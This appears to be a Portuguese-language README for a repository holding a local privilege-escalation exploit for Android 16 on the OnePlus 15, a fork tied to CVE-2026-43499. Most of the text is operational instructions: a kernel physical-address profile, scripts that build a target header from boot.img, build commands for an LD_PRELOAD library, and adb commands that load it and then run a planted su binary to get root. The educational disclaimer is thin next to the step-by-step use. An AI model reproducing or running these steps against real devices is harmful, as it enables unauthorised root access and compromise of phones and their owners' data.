
Exploit educacional de escalonamento de privilégio local para Android 16 no OnePlus 15, demonstrando manipulação de memória do kernel via injeção LD_PRELOAD com distribuição apenas de código-fonte.
AVISO: Este repositório é fornecido apenas para fins educacionais e de pesquisa. Nenhum binário pré-compilado ou versão é distribuído. Você deve compilar tudo a partir do código-fonte.
Escalação de privilégio local no Android 16 para OnePlus 15.
Fork de x-spy/CVE-2026-43499-popsicle com uma correção de alinhamento do kallsyms e um perfil verificado para OnePlus 15.
O perfil contém dois endereços físicos que devem ser confirmados a partir de um dispositivo com root executando o mesmo firmware:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
Auto-detecção com um dispositivo com root:
python3 detect_offset.py
Requer Python 3 e llvm-objdump:
python3 generate_target.py \
--boot boot.img \
--profile profile_oneplus15.json \
-o source/src/target.h
make -C source clean preload
Se o NDK não for detectado automaticamente:
NDK_ROOT=/path/to/android-ndk make -C source clean preload
Saída: source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell chmod 0644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
adb shell /data/local/tmp/su -c id